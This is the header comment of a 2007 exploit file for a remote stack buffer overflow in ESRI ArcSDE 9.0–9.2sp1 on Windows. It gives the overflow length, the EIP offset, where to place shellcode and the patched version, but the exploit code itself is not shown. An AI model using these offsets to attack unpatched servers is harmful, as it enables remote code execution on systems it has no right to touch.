* Target : ESRI ArcSDE 9.0 - 9.2sp1
* Site : http://www.esri.com
* Found by : iDefense, http://labs.idefense.com/intelligence/vulnerabilities/
* ----------------------------------------
* Exploit : ESRI ArcSDE 9.0 - 9.2sp1 Remote Buffer Overflow exploit
* Exploit date : 26.06.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS : Windows ALL
* Crew : Dreatica-FXP
* ----------------------------------------
* Info : Trivially exploitable stack overflow vulnerability: if we send more than 516 bytes to
* server, we can overwrite EIP. After the EIP gets overwritten we can see that the ESP
* points to the next bytes of buffer after EIP, so we simply write shellcode at 520 byte.
* The server allows any type of buffer even with the 0x00 bytes, so have fun!
* For use universal RET's you need to find the ArcSDE version (this is not a trivial job :P)
*
* Seems that the earlier versions are also vulnerable. To protect the server against that
* vulnerability you need to install ArcSDE 9.2sp2.
* ----------------------------------------
* Compiling :
* To compile this exploit you need:
* 1. Windows C/C++ compiler
* 2. WinSock 2
